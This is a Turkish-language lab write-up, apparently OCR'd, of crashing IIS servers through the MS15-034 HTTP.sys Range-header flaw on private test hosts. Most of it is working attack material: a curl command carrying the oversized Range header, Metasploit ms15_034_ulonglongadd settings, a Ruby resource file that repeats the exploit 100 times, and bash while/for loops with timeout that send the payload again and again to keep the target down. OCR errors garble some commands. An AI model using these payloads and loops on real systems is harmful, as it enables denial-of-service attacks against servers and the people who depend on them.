<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Requested Range Not Satisfiable</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Requested Range Not Satisfiable</h2>
<hr><p>HTTP Error 416. The requested range is not satisfiable.</p>
</BODY></HTML>
* Connection #0 to host 172.16.3.136 left intact

Kali Linux 2018 Terminal:
> curl -v http://172.16.3.75/iis-85.png -H "Range: bytes=18-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache

* Trying 172.16.3.136...

* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1

> User-Agent: curl/7.35.0

> Host: 172.16.3.136

> Accept: */*

> Range: bytes=18-18446744073709551615

>

AC

Windows Server 2012 (mavi ekran vermemistir belki ama) ekrani kitlenmistir. Dolayisiyla Kali'den
Windows Server 2012 IIS ana sayfasina erisilmeye ¢alisildiginda sonug basarisiz olmustur. Yani DOS
basariyla gergeklestirilmistir.

Bu zafiyet 11S'in yiikli oldugu Windows 7, Windows Server 2008 R2, Windows 8, Windows Server
2012, Windows 8.1, ve Windows Server 2012 R2 isletim sistemlerinin tamami icin gegerlidir.
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Ekstra (2)
(+) Bu baslik denenmistir ve basariyla uygulanmistir.

Metasploit ms15_034 _ulonglongadd modiili ile yaptigimiz mavi ekran verdirme girisiminde modul
sadece bir kez calistirdigimiz icin bir kez mavi ekran verdirebilmistik:

Kali Linux 2018 Terminal (Hedef: Windows Server 2008 R2) :

msf > use auxiliary/dos/http/ms15_034_ulonglongadd

msf > set RHOSTS 172.16.3.128

msf > set TARGETURI /welcome.png // Windows Server 2008 'deki resim
msf > run

Output:

[*] DOS request sent.

[*] Scanned 1 of 1 host (100% complete).
[*] Auxiliary module execution completed.

Kali Linux 2018 Terminal (Hedef: Windows Server 2012 R2) :

msf > use auxiliary/dos/http/ms15_034_ulonglongadd

msf > set RHOSTS 172.16.3.75

msf > set TARGETURI /iis-85.png // Windows Server 2012 'deki resim
msf > run

Output:

[*] DOS request sent.

[*] Scanned 1 of 1 host (100% complete).
[*] Auxiliary module execution completed.

Saldiriyi tekrar tekrar gercgeklestirebilmek icin bir betik dili yardimi alabiliriz. Bu bashkta ruby dili ile bu
islem gerceklestirilecektir:
Oncelikle msfconsole'a direktif verebilecegimiz resource dosyasini olusturalim:

> cd /root/Desktop

> touch looping.rc // rc : resource

> nano looping.rc

<ruby>

# Link https://github.com/actuated/msf-exploit-loop/blob/master/exploit-loop.rc
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begin
(1..100).each do |i|
run_single("echo 'Attacking attempt: \##{1}"")
run_single("exploit -j")
run_single("sleep 5s")
end
end
</ruby>

Yukaridaki resource dosyasindaki her loop iterasyonunda msfconsole komut satirina echo komutu,
sonra exploit -j komutu ve son olarak da sleep komutu girilmektedir ve enter'lanmaktadir. Bu dosya
msfconsole'da ¢agrildiginda bu komutlar sirasiyla 100'er defa enter'lanacaktir (calistirilacaktir).

Kali Linux 2018 Terminal (Hedef: Windows Server 2008 R2) :

> msfconsole

msf > use auxiliary/dos/http/ms15_034_ulonglongadd
msf > set RHOSTS 172.16.3.128

msf > set TARGETURI /welcome.png

msf > resource /root/Desktop/looping.rc

Output:

[*] Attacking Attempt : #1
[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).

[*] Attacking Attempt : #2
[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).

[*] Attacking Attempt : #3
[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).

[*] Attacking Attempt : #4

[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).

[*] Auxiliary module execution completed.
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Kali Linux 2018 Terminal (Hedef: Windows Server 2012 R2) :

> msfconsole

msf > use auxiliary/dos/http/ms15_034_ulonglongadd
msf > set RHOSTS 172.16.3.75

msf > set TARGETURI /iis-85.png

msf > resource /root/Desktop/looping.rc

Output:

[*] Attacking Attempt : #1

[*] DOS request sent.

[*] Scanned 1 of 1 host (100% complete).
[*] Attacking Attempt : #2

[*] DOS request sent.

[*] Scanned 1 of 1 host (100% complete).
[*] Attacking Attempt : #3

[*] DOS request sent.

[*] Scanned 1 of 1 host (100% complete).
[*] Attacking Attempt : #4

[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).

[*] Auxiliary module execution completed.

Bu sekilde run komutu (ya da exploit komutu) tekrarlanarak hedef web sunucusunun siirekli crash
olmasi saglanabilir.

Ekstra (3)
(+) Bu baslik denenmistir ve basariyla uygulanmistir.

Curl komutuyla yaptigimiz mavi ekran verdirme girisiminde curl'i sadece bir kez ¢alistirdigimiz igin bir
kez mavi ekran verdirebilmistik:
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Kali Linux 2018 Terminal (Hedef: Windows Server 2008 R2) :

> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=18-18446744073709551615"

Kali Linux 2018 Terminal (Hedef: Windows Server 2012 R2) :

> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=18-18446744073709551615"

Bu komutlari tekrarlayarak devamli bir mavi ekran verdirme saldirisi yapabilmek igin bir betik dilinden
yardim alabiliriz. Bu baslikta bash script dili ile bu islem gergeklestirilecektir.

Oncelikle bash script dilinde loop sytax'ini su 6rnekleme ile gésterelim:

Terminal:

// While
> while :; do echo "hasan" >> abc.txt; done

// For

> foriin {1..100}; do echo "hasan" >> abc.txt; done
veya

// While
while :; do $(echo "hasan" >> abc.txt); done

// For
foriin {1..100}; do $(echo "hasan" >> abc.txt); done

Bu 6rneklerden de anlasilabilecegi lizere abc.txt dosyasina siirekli hasan string'i yazdirilmaktadir.
Buradan hareketle do ve done arasina curl komutunu yerlestirerek birden fazla kere saldiri kodunun
calismasini saglayabiliriz.

Uyari
curl komutu saldiriy1 yaptiginda hedef sistem crash oldugu icin yanit paketi gelmemekte.
Curl ise yanit paketini alamadigi icin bekleme modunda kalmakta ve sonlanamamakta.
Bu durum dolayisiyla bir sonraki loop iterasyonuna gegilememekte ve saldirinin devamliligi
saglanamamakta. Bu sorunu asmak icin timeout komutu kullaniimistir. Bu komut ile curl
komutu her 10 saniyede bir pkill ile sonlandiriilmaktadir. Béylece curl'de takili kalma ve bir
sonraki iterasyona gecip yeni curl baslatamama sorunu ¢ozilmustir.

Asagida curl saldiri kodlarinin hem while hem de for loop icerisine alinmis halini gériintiilemektesin:
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Kali Linux 2018 Terminal:
(=) Hedef: Windows Server 2008 R2

> while :; do timeout 10 curl -v http://172.16.3.107/welcome.png -H "Range: bytes=18-
18446744073709551615"; done

> foriin {1..100}; do timeout 10 curl -v http://172.16.3.107/welcome.png -H "Range:
bytes=18-18446744073709551615"; done

veya

> while :; do $(timeout 10 curl -v http://172.16.3.107/welcome.png -H "Range: bytes=18-
18446744073709551615"); done

> foriin {1..100}; do $(timeout 10 curl -v http://172.16.3.107/welcome.png -H "Range:
bytes=18-18446744073709551615"); done

Kali Linux 2018 Terminal:

(=) Hedef: Windows Server 2012

> while :; do timeout 10 curl -v http://172.16.3.75/iis-85.png -H "Range: bytes=18-
18446744073709551615"; done

> foriin {1..100}; do timeout 10 curl -v http://172.16.3.75/iis-85.png -H "Range: bytes=18-
18446744073709551615"; done

veya

> while :; do $(timeout 10 curl -v http://172.16.3.75/iis-85.png -H "Range: bytes=18-
18446744073709551615"); done

> foriin {1..100}; do $(timeout 10 curl -v http://172.16.3.75/iis-85.png -H "Range:
bytes=18-18446744073709551615"); done

Bu sekilde while loop ile ya da for loop ile devamli olarak Range header'ini géndererek hedef web
sunucusunun siirekli crash olmasi saglanabilir.
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